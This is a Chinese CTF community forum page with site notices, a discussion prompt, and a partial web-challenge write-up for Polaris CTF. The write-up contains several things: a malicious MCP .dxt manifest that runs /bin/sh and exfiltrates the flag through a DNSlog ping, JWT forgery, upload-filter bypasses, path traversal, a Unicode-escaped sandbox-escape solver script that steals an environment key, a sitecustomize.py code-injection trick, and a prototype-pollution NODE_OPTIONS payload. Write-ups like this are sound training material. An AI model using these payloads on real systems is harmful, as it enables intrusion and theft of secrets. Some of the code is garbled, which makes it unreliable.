经核查,靶场数据已全部丢失,无法找回。在此,我对服务器的所有用户表示抱歉,我们将经快完成修复工作,尽量在四月初恢复靶场的运作。
-
致歉(2026.3.31)发布在 通知
尊敬的赛博潇湘用户:
您好!
我们怀着深深的歉意向您告知,由于运维人员的操作失误,今日(2026年3月31日)17时01分,服务器CTF靶场关键文件被意外删除,导致CTF靶场暂时无法正常使用。目前技术团队已启动紧急抢修,但恢复时间仍存在不确定性,我们对此给您带来的不便致以最诚挚的歉意!
一、事故说明
经核查,本次故障系运维人员在执行日常维护任务时,因操作疏忽误删了CTF靶场部分核心文件。我们已第一时间暂停相关运维操作,并启动数据恢复流程。由于文件恢复涉及复杂的技术排查与数据校验,目前暂无法预估完全恢复的时间。
二、紧急处理措施
1. 全力恢复数据:我们正在全力尝试从备份系统及其他冗余存储中恢复被删除文件,同时排查是否存在其他潜在风险。
2. 问题溯源与整改:我们将对事故原因进行深入复盘,杜绝类似事件再次发生。
3. 实时同步进展:我们将通过官网公告、论坛等渠道,及时更新抢修进度与恢复时间,请您保持关注。
我们深知此次事故对您的体验造成了严重影响,赛博潇湘始终将用户数据安全与体验放在首位。我们承诺将以最快速度完成抢修,并全力避免类似问题重现。若您在故障期间有任何疑问或需求,可通过以下方式联系我们:
● 论坛“问题反馈”专区
再次为此次事故深表歉意!感谢您的包容与支持,我们定当以更严谨的态度与更稳定的服务回馈您的信任!
赛博潇湘管理团队
2026年3月31日 -
第一届 Polaris CTF 招新赛 WP(部分)发布在 Web
做完后的感觉,烦死了
only real
dirsearch扫描发现flag.php文件

得到flag

only_real_revenge

查看源码后得到账号密码,登录后bp抓包

发现jwt_token,暴力破解并构造新的admin的jwt


修改后放行,成功解锁上传文件
发现此处会对php eval flag等关键字过滤且前端验证文件类型采用<?=cat /f*?>和抓包改名的方式绕过
访问上传的php文件,即可得到flag

注意:此处要将token改为修改后的DXT
此题为mcp服务器上传.dxt文件进行rce
查阅资料制作文件
manifest.json
内容如下
{
"dxt_version": "0.1",
"name": "oob-exploit",
"version": "1.0.0",
"description": "OOB Exploit",
"author": {
"name": "Hacker",
"email": "hacker@example.com"
},
"server": {
"type": "stdio",
"entry_point": "/bin/sh",
"mcp_config": {
"command": "/bin/sh",
"args": [
"-c",
"此处输入要执行的命令"
]
}
}
}
将他zip压缩,因为.dxt文件的本质为zip,直接将后缀改成.dxt
由于此处执行命令不会回显,于是用DNSlog回显的方法得到flag
执行命令ping $(cat /flag).mcd2fp.dnslog.cn
即可得到flag

Broken Trust

注册并登录
登录后发现一个查找器

猜测的此处可以进行sql注入
注入后发现admin的uid


登录后通过遍历目录拿到flag
api/admin?action=backup&file=..//flag

ez_python
这个python代码在 / 路由通过 merge 函数将 POST 的 JSON 递归合并到全局 instance 对象。利用此漏洞,发送 {"config": {"filename": "/flag"}} 即可将 instance.config.filename 改为 /flag,随后访问 /read 便读取并返回 flag。

醉里挑灯看剑
/api/caps/sync 在插入用户提供的操作记录后,会自动追加一条 source 为 "server-tail" 的尾记录。由于记录按 source 字典序排序后插入,用户只需设置 source 比 "server-tail" 大的字符串(如 "z1"),就能让尾记录先被插入,而用户记录后插入成为最新记录。该记录的 role 和 lane 若被设为 null(通过 keepRole: false 和 keepLane: false),在查询时会被 COALESCE 默认值 'maintainer' 和 'release' 覆盖,从而获得高权限。获得高权限后,即可调用 /api/release/execute 执行表达式。黑名单通过小写字符串匹配过滤关键字,但可利用 Unicode 转义(如 \u0063onstructor)绕过检测。通过 tools.sha1.constructor 获取 Function 构造函数,进而执行任意代码,读取环境变量 RUNNER_KEY。此密钥用于生成 release 证明,结合之前获取的 challenge nonce 即可计算出有效 proof,最终在 /api/release/claim 中提交并拿到 flag。
import requests
import hashlibclass CTFChallengeSolver:
def init(self, base_url):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.headers = {}
self.token = ""
self.sid = ""
self.runner_key = ""
self.nonce = ""def _request(self, method, endpoint, **kwargs): url = f"{self.base_url}{endpoint}" kwargs.setdefault('headers', {}).update(self.headers) try: response = self.session.request(method, url, **kwargs) response.raise_for_status() return response.json() except requests.exceptions.RequestException as e: print(f"请求失败 [{method} {endpoint}]: {e}") if 'response' in locals() and response.status_code == 401: print("检查 Token 是否过期或无效") exit(1) def get_guest_token(self): data = self._request('POST', '/api/auth/guest') self.token = data.get("token") self.sid = data.get("claims", {}).get("sid") if not self.token or not self.sid: print("无法从响应中提取 Token 或 SID") exit(1) self.headers["Authorization"] = f"Bearer {self.token}" print(f"Token: {self.token}") print(f"SID: {self.sid}") def sync_capabilities(self): payload = { "ops": [ {"source": "z1", "note": "a", "keepRole": False, "keepLane": False}, {"source": "z2", "note": "a", "keepRole": False, "keepLane": False} ] } result = self._request('POST', '/api/caps/sync', json=payload) print(f"Sync response: {result}") def get_runner_key(self): payload = { "expression": "ctx.tools.sha1['\\u0063onstructor']('return \\u0070rocess.env.RUNNER_KEY')()", "input": {} } data = self._request('POST', '/api/release/execute', json=payload) self.runner_key = data.get("result") if not self.runner_key: print("无法获取 RUNNER_KEY") exit(1) print(f"RUNNER_KEY: {self.runner_key}") def get_challenge_nonce(self): data = self._request('POST', '/api/release/challenge') self.nonce = data.get("nonce") if not self.nonce: print("无法获取 Nonce") exit(1) print(f"Nonce: {self.nonce}") def claim_flag(self): proof_str = f"{self.sid}:{self.nonce}:{self.runner_key}" proof = hashlib.sha1(proof_str.encode()).hexdigest() payload = { "nonce": self.nonce, "proof": proof } result = self._request('POST', '/api/release/claim', json=payload) flag = result.get("flag", "未找到 Flag 字段") print(f"Flag: {flag}") def run(self): self.get_guest_token() self.sync_capabilities() self.get_runner_key() self.get_challenge_nonce() self.claim_flag()if name == "main":
BASE_URL = "http://80-9c2b8646-841e-4439-b861-358f760b18e0.challenge.ctfplus.cn/"
solver = CTFChallengeSolver(BASE_URL)
solver.run()
AutoPypy
Web 服务允许上传 Python 脚本并在沙箱中运行,但上传时未过滤文件名,可利用路径穿越将恶意脚本写入宿主机的 Python 库目录。利用 Python 自动加载 sitecustomize.py 的特性,当服务器执行任何脚本时,恶意代码会在沙箱启动前以宿主机权限运行,从而读取 flag。
恶意代码:
import os
for path in ['/flag', '/home/ctf/flag', 'flag']:
if os.path.exists(path):
with open(path) as f:
print(f.read())
上传后保存/usr/local/lib/python3.10/site-packages/sitecustomize.py
在此执行命令即可

Not a Node
边缘运行时的底层 C++ 绑定将文件读写接口暴露在 __runtime._internal.lib.symbols 中,但函数名被混淆(如 _0x72656164 对应 read)。常规字符串路径会被运行时自动添加工作目录前缀并补全 Null 字节,导致 ../flag 失效。通过 TextEncoder 将路径转为 Uint8Array 字节流直接调用底层函数,绕过了 JS 层的路径预处理,使回溯生效。同时,十六进制编码属性名规避了 WAF 对 globalThis 等关键词的拦截,最终成功读取根目录下的 Flag。
恶意代码为:
export default {
async fetch(req) {
// 获取运行时内部工具(使用十六进制混淆绕过检测)
const R = __runtime;
const tools = R["\x5f\x69\x6e\x74\x65\x72\x6e\x61\x6c"]["\x6c\x69\x62"]["\x73\x79\x6d\x62\x6f\x6c\x73"];
const READ = "\x5f\x30\x78\x37\x32\x36\x35\x36\x31\x36\x34"; // "_0x72656164" 的十六进制表示// 定义动态文件读取函数(避免直接使用敏感词) const getF = (p) => { try { // 将路径转换为 Uint8Array 绕过路径检查 const bytes = new TextEncoder().encode(p); return tools[READ](bytes); } catch (e) { return e.message; } }; // 读取 flag 文件(使用相对路径绕过目录限制) const flag = getF("\x2e\x2e\x2f\x66\x6c\x61\x67"); // "../flag" 的十六进制表示 return new Response(flag);}
};

ezpollute
通过/api/config接口的merge函数存在原型污染漏洞,攻击者可利用constructor.prototype向Object.prototype注入NODE_OPTIONS="-r /flag"。访问/api/status时,子进程启动会继承污染后的环境变量,从而加载/flag模块并输出 flag,最终在响应中获取。此攻击结合了原型污染与 Node.js 环境变量注入,实现了远程代码执行。
恶意脚本
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag"
}
}
}

-
月底闲谈(第一期)——你认为AI会取代CTFer吗发布在 日常讨论区
各位师傅们,月底了,咱们来聊点轻松的(或者说,有点扎心的?)。
最近AI的发展势头大家有目共睹,从自动生成代码到辅助漏洞挖掘,工具越来越“聪明”。那么,一个灵魂拷问来了:
你认为AI会取代CTFer吗?
是成为我们手中的“神兵利器”,还是未来赛场上真正的“对手”?
欢迎各位畅所欲言,分享你的观点和脑洞! -
服务器更新日志(2026.3-a-1)发布在 通知
亲爱的赛博潇湘用户:
为了给您提供更稳定、更丰富的服务体验,我们已于2026年3月31日12:30完成服务器全系统升级维护。本次更新涵盖网站主页、论坛、CTF靶场及Wiki模块的功能优化与问题修复,具体更新内容如下:
1.完善网站网页显示,增加403页面
2.对网站已有漏洞进行修复
温馨提示
更新后建议清除浏览器缓存,以获得最佳浏览体验。
CTF靶场题目数据已完整备份,用户刷题进度不受影响。
若更新后遇到任何问题,欢迎通过论坛“意见反馈”板块或客服邮箱联系我们。
感谢您一直以来对赛博潇湘的支持与理解!我们将持续迭代优化,为您提供更优质的服务。
赛博潇湘管理团队
2026年3月31日 -
服务器停服维护通知(2026.3.20-a)发布在 通知
尊敬的用户:
您好!
为了提升服务质量与系统稳定性,保障用户的良好体验,赛博潇湘服务器将进行计划性停服维护。在此期间,网站部分功能将暂时无法访问,敬请各位用户提前做好相关安排。具体维护信息如下:
一、维护时间
2026年3月30日(星期一)12:35起
(预计维护时长:2小时,具体恢复时间以实际维护进度为准)
二、维护范围
1. 网站主页
2. 论坛
3. CTF靶场
4. Wiki
三、注意事项
1. 维护期间,上述功能模块将无法正常访问或使用,请您提前保存重要数据,避免因停服造成不便。
2. 维护完成后,服务器将恢复正常运行,建议您刷新页面或清除浏览器缓存后重新登录。
3. 若维护提前完成或延迟结束,我们将第一时间通过官方渠道发布公告。
四、感谢与联系
感谢各位用户对赛博潇湘的支持与理解!
给您带来的不便,我们深表歉意,敬请谅解!期待维护完成后,为您带来更优质、更稳定的服务体验。
赛博潇湘管理团队
2026年3月30日